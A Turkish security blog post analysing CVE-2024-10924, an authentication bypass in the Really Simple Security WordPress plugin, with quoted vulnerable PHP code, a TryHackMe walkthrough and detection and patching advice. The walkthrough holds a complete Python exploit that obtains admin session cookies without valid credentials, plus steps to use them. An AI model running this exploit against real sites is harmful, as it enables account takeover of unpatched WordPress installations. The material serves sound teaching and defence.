Post

CVE: Really Simple Security CVE-2024-10924

Really Simple Security eklentisinde bulunan CVE-2024-10924 zafiyetini analiz edeceğiz ve nasıl sömürebileceğimizi öğreneceğiz.

CVE: Really Simple Security CVE-2024-10924

WordPress, açık kaynak kodlu en popüler içerik yönetim sistemlerinden (CMS) birisidir. Bloglardan e-ticaret sitelerine kadar birçok web projesinde yaygın olarak kullanılmaktadır. Kasım 2024’te, milyonlarca site tarafından kullanılan Really Simple Security adlı popüler bir güvenlik eklentisinde kritik bir güvenlik açığı keşfedildi. Bu açık, saldırganların kimlik doğrulamasını atlayarak kullanıcı hesaplarına, hatta yönetici yetkisine sahip hesaplara yetkisiz erişim sağlamasına olanak tanıyordu. Bu zafiyet, Wordfence‘ten István Márton tarafından keşfedildi ve CVSS skoru 9.8 olarak derecelendirilip CVE-2024-10924 numarasıyla kayıtlara geçti.

Zafiyet Nasıl Çalışıyor?

Sorunun temelinde, REST API uç noktalarının işlenmesinde güvenli kodlama standartlarına uyulmaması yatıyor.

Eklenti, İki Faktörlü Kimlik Doğrulama (2FA) gibi ekstra güvenlik katmanları sunmayı amaçlasa da, kimlik doğrulama sürecindeki önemli bir doğrulama eksikliği, saldırganların bu mekanizmayı atlatmasına olanak tanıyor. Özellikle API üzerinden gönderilen parametrelerin yeterince filtrelenmemesi ve kontrollerin gevşek tutulması, saldırganların sistemde doğrulanmış gibi görünmesini sağlıyor.


WordPress Giriş Noktaları

  • Admin Paneli: /wp-admin üzerinden erişilir. Sadece kimliği doğrulanmış kullanıcılar ulaşabilir.

  • Herkese Açık Arayüz: Ana dizindeki index.php tarafından yönetilir, ziyaretçilere içerik sunar.

  • REST API: Geliştiricilerin site verilerini yönetmesine olanak tanır. Hassas verilere erişim için düzgün kimlik doğrulama şarttır.

CVE-2024-10924, eklentinin 2FA sistemine entegre edilen REST API uç noktalarını hedef alıyor. Saldırganlar, API çağrılarında kullanılan parametreleri manipüle ederek kimlik doğrulamayı geçebiliyor. Bu zafiyet, özellikle skip_onboarding özelliğinde kullanıcıdan gelen verilerin yeterince doğrulanmamasından kaynaklanıyor.


Detaylı Teknik Açıklaması

Zafiyetin merkezinde, eklentideki Rsssl_Two_Factor_On_Board_Api adlı PHP sınıfı bulunuyor. Bu sınıf, kimlik doğrulama sürecini yöneten birkaç önemli fonksiyonu içeriyor:

Mekanizma

  1. skip_onboarding: Bu fonksiyon, 2FA onboarding sürecini atlamayı sağlıyor. Gelen user_id, login_nonce ve redirect_to parametrelerini alıyor, ardından check_login_and_get_user fonksiyonuna gönderiyor. Buradan dönen kullanıcı nesnesiyle birlikte authenticate_and_redirect fonksiyonu çağrılarak kullanıcı, belirtilen URL’ye yönlendiriliyor.
1
2
3
4
5
6
7
8
9
10
11
12
/**
* Skips the onboarding process for the user.
*
* @param WP_REST_Request $request The REST request object.
*
* @return WP_REST_Response The REST response object.
*/
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );


Ancak sorun şu ki: check_login_and_get_user fonksiyonu geçersiz bir nonce durumunda null döndüğünde bile, skip_onboarding fonksiyonu bunu kontrol etmiyor. Bu da saldırgana, geçersiz kimlik bilgileriyle bile yönlendirme ve dolayısıyla yetkisiz erişim hakkı kazandırıyor.

Bu API çağrısı şu uç noktadan yapılmaktadır: /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding POST metodu ile gönderilen parametreler ise bunlardır: user_id, login_nonce, redirect_to

  1. check_login_and_get_user: Bu fonksiyon, gönderilen user_id ve login_nonce değerlerinin geçerliliğini kontrol ediyor. Eğer login_nonce doğrulanamazsa, 403 hata koduyla bir WP_REST_Response döndürüyor. Aksi takdirde, ilgili kullanıcı nesnesi döndürülüyor.
    Büyük sorun ise, skip_onboarding fonksiyonu bu kontrol sonucunu hiç dikkate almamasıdır.
1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* Verifies a login nonce, gets user by the user id, and returns an error response if any steps fail.
*
* @param int    $user_id The user ID.
* @param string $login_nonce The login nonce.
*
* @return WP_User|WP_REST_Response
*/

private function check_login_and_get_user( int $user_id, string $login_nonce ) {
	if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
		return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
	}


  1. authenticate_and_redirect: Bu fonksiyon, kullanıcıyı doğrulanmış varsayıp, user_id ve redirect_to parametrelerini kullanarak kullanıcıyı yönlendiriyor. wp_set_auth_cookie fonksiyonu ile kullanıcıya oturum çerezi atanıyor ve işlem tamamlanıyor.
    Dikkat! Burada kritik bir hata var: Bu işlem öncesinde gelen kullanıcının gerçekten doğrulanıp doğrulanmadığı hiç kontrol edilmiyor. Dolayısıyla, saldırgan direkt olarak oturum açmış gibi davranabiliyor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* Sets the authentication cookie and returns a success response.
*
* @param int    $user_id The user ID.
* @param string $redirect_to The redirect URL.
*
* @return WP_REST_Response
*/
	 
private function authenticate_and_redirect( int $user_id, string $redirect_to = '' ): WP_REST_Response {
	// Okay checked the provider now authenticate the user.
	wp_set_auth_cookie( $user_id, true );
	// Finally redirect the user to the redirect_to page or to the home page if the redirect_to is not set.
	$redirect_to = $redirect_to ?: home_url();
	return new WP_REST_Response( array( 'redirect_to' => $redirect_to ), 200 );
}


Şimdi bu maddelerin hepsini birleştirerek toparlayacak olursak: Bu güvenlik açığı, sadece 2FA aktif edilmiş kullanıcı hesaplarında işe yarıyor. Zincirleme yöntem akışı şu şekilde işliyor:

  • skip_onboarding: check_login_and_get_user fonksiyonundan dönen değeri kontrol etmiyor.

  • check_login_and_get_user: Geçersiz kimlik bilgilerini doğru şekilde tespit ediyor ama sonucu işleyene güveniyor (ama o işlemiyor).

  • authenticate_and_redirect: Körü körüne kullanıcıyı oturum açmış gibi kabul ediyor ve yönlendiriyor.

Sonuç olarak , saldırganlar bu API uç noktasını kullanarak, geçersiz kimlik bilgileriyle bile yönetici yetkisine sahip hesaplara erişebiliyor. Bu da, eklentinin güvenlik iddiasıyla çelişiyor ve ciddi bir güvenlik açığına yol açıyor.

Nasıl Sömürülür?

Bu zafiyeti sömürmek için yapmamız gereken tek şey özel parametrelerle hazırlanmış POST isteğini /reallysimplessl/v1/two_fa/skip_onboarding zafiyetli uç noktasına göndermek olacaktır.

How to Exploit

Daha iyi pekiştirmek amacıyla Tryhackme platformu üzerinde bulunan Bypass Really Simple Security adlı odayı adım adım çözeceğiz.

Makineyi başlattıktan sonra http://vulnerablewp.thm:8080/wp-admin web sitesini ziyaret ediyoruz ve kimlik doğrulama sayfası ile karşılaşıyoruz. Amacımız ise user_id değeri 1 olan bir WordPress kullanıcısı olan admin’in kimlik bilgilerini ele geçirmektir.

WordPress Login

Aşağıdaki Python kodu savunmasız /reallysimplessl/v1/two_fa/skip_onboarding uç noktasına bir POST isteği göndermektedir. Bu kod kullanıcının kimliğini doğrulamak için gerekli olan

Aşağıda, savunmasız uç noktaya bir POST isteği gönderen basit bir Python betiği bulunmaktadır. Bu betik, kullanıcının kimliğini doğrulamak için yanıttaki çerezleri çıkarır ve görüntüler.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import urllib.parse
import sys

if len(sys.argv) != 2:
    print("Usage: python exploit.py <user_id>")
    sys.exit(1)

user_id = sys.argv[1]

url = "http://vulnerablewp.thm:8080/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
    "user_id": int(user_id),  # User ID from the argument
    "login_nonce": "invalid_nonce",  # Arbitrary value
    "redirect_to": "/wp-admin/"  # Target redirection
}

# Sending the POST request
response = requests.post(url, json=data)

# Checking the response
if response.status_code == 200:
    print("Request successful!\n")
    
    # Extracting cookies
    cookies = response.cookies.get_dict()
    count = 1

    for name, value in cookies.items():
        decoded_value = urllib.parse.unquote(value)  # Decode the URL-encoded cookie value
        print(f"Cookie {count}:")
        print(f"Cookie Name: {name}")
        print(f"Cookie Value: {decoded_value}\n")
        count += 1
else:
    print("Request failed!")
    print(f"Status Code: {response.status_code}")
    print(f"Response Text: {response.text}")

Bu script oda çözümünü kolaylaştırmak için hazır olarak sistemde bulunmaktadır.

Şimdi betiğimizi çalıştırabiliriz:

1
2
3
4
5
6
7
8
9
10
ubuntu@b1lal:~/Desktop$ python3 exploit.py 1
Request successful!

Cookie 1:
Cookie Name: wordpress_logged_in_eb51341dc89ca85477118d98a618ef6f
Cookie Value: admin|1750771112|KXG6C7nHTefU3uN680rTzwqEm04v00m9CzSRSCgR4Jv|c5a1c7e66bff7e9ffe753a044eba668c66b3cafeedf1f61b3c674b20ea197bf8

Cookie 2:
Cookie Name: wordpress_eb51341dc89ca85477118d98a618ef6f
Cookie Value: admin|1750771112|KXG6C7nHTefU3uN680rTzwqEm04v00m9CzSRSCgR4Jv|7ddcdf60f2f42f452d72260ea8f0d91469da684d45c35ef9bf6bd3b16ab44556

Bu komut, Wordpress uç noktasına bir POST isteği göndererek user_id değeri 1 olan kullanıcının kimlik bilgilerini ele geçirir. Çıktıda, wordpress_logged_in_eb51341dc89ca85477118d98a618ef6f adlı çerezde admin kullanıcısının oturum açma bilgileri bulunmaktadır. Bu çerezi tarayıcınıza ekleyerek admin paneline erişebilirsiniz.

Çerezleri tarayıcınıza eklemek için, tarayıcınızın geliştirici araçlarını açın [F12] ve “Storage” sekmesine gidin. Buradan “Cookies” bölümüne tıklayın. Ardından, yukarıda elde ettiğiniz çerezleri manuel olarak ekleyebilirsiniz.

Cookies

Yukarıdaki iki çerezide ekledikten sonra sayfayı yenileyebiliriz.

Admin Paneli

Admin

Tespit Etme

Yukarda, CVE-2024-10924‘teki güvenlik açığından belirli bir uç noktaya basit bir API çağrısı yaparak yararlanılabileceğini temel olarak öğrenmiş olduk. Şimdi, birkaç tespit ve hafifletme tekniğininden de bahsederek bu makaleyide burada bitireceğiz.

CVE-2024-10924 zafiyetinin istismar edilme girişimlerini tespit etmek için API etkinliklerini, olay günlüklerini vb. kaydeden çeşitli loglara güvenebiliriz. Aşağıda potansiyel istismarları belirlemek için logların incelenmesine yönelik bazı yöntemler yer almaktadır:

Web Loglarını API Çağrıları İçin Kontrol Etme:

Zafiyet içeren /​?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding uç noktasına yapılan istekleri tespit etmeye odaklanın. Aşağıdaki gibi olağandışı kalıplara dikkat edin:

  • Uç noktaya yapılan tekrar eden POST istekleri,

  • Farklı user_id veya login_nonce parametreleriyle yapılan istekler (kaba kuvvet saldırısı olma ihtimaline karşı).

Kimlik Doğrulama Loglarını Analiz Etme:

İki faktörlü kimlik doğrulamanın atlandığı oturum açma girişimlerini araştırın. Potansiyel istismar göstergeleri şunlar olabilir:

  • Başarısız girişimlerin ardından 2FA doğrulaması olmadan gerçekleşen ani başarılı girişler,

  • Beklenmedik coğrafi konumlar veya cihazlardan yönetici hesaplarına yapılan oturum açma işlemleri.

SIEM Sorgusu:

Eğer OpenSearch gibi bir SIEM çözümü kullanıyorsanız, potansiyel istismar girişimlerini filtrelemek ve görselleştirmek için bir sorgu oluşturabilirsiniz. Örnek sorgu:

1
method:POST AND path:"/reallysimplessl/v1/two_fa/skip_onboarding"

Yukarıdaki sorgu sonuç verirse, bu mutlaka istismarı doğrulamaz. Ancak, önceki şüpheli istekler gibi diğer göstergelerle birleştirildiğinde, potansiyel saldırılar hakkında daha iyi bilgi sağlayabilir.

Hafifletme

Hafifletme sürecinin bir parçası olarak, Really Simple Security eklentisinin geliştiricileri CVE-2024-10924‘ü ele alan bir yamayı resmi olarak yayınladılar. Güncellenmiş sürümün kaynak kodu incelemesi, kimlik doğrulama atlamasını ele almak için ek doğrulama ve hata işleme adımlarının uygulandığını ortaya koymaktadır.

Update

  • Resmi Yamayı Uygulayın: Really Simple Security eklentisini, güvenlik açığı için bir düzeltme içeren ve ayrıca otomatik güncellemeleri etkinleştiren 9.1.2 veya sonraki bir sürüme güncelleyin.

Otomatik Güncelleme

  • SIEM’deki uyarıları güncelleyin, böylece bir istismar girişiminde bulunulduğu anda bilgilendirilirsiniz.


Güvenliğinizi arttırdığını düşündüğünüz uygulamalar yada eklentiler sizi daha güvensiz hale getirebilir.

Bu nedenle, kullandığınız eklentileri ve uygulamaları sürekli olarak güncel tutmak ve güvenlik açıklarını takip etmek önemlidir.


Okuduğunuz için teşekkür ederim.

This post is licensed under CC BY 4.0 by the author.